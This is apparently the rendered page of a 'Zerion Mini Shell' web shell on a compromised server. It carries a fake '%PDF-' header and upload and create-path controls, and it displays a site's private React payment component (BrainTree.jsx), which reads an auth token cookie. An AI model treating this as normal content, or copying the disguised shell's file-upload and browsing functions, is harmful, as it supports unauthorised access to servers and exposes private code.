%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/def/static/js/components/SignUpBusiness/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/def/static/js/components/SignUpBusiness/BrainTree.jsx

import React from "react";
import { string, func } from "prop-types";
import axios from "axios";
import { getUniversalCookies } from "../../utils/cookies";

function BrainTree({
  requestedPaymentMethod, // this.props.signUpBusinessState.requestedPaymentMethod
  receiveMessage, // this.receiveMessage
}) {
  const epSsAuthToken = getUniversalCookies().get("epSsAuthToken");
  axios({
    method: "GET",
    url: requestedPaymentMethod,
    responseType: "blob",
    withCredentials: true,
    headers: {
      "X-Authorization": `Bearer ${epSsAuthToken}`,
    },
  })
    .then((res) => {
      window.addEventListener("message", receiveMessage, false);
      document.querySelector("#braintree-iframe").src = URL.createObjectURL(
        res.data,
      );
    })
    .catch((err) => console.error(err));

  return (
    <iframe
      id="braintree-iframe"
      title="braintree-iframe"
      width="100%"
      height="400"
      frameBorder="0"
    />
  );
}

BrainTree.propTypes = {
  requestedPaymentMethod: string.isRequired,
  receiveMessage: func.isRequired,
};

export default BrainTree;

Zerion Mini Shell 1.0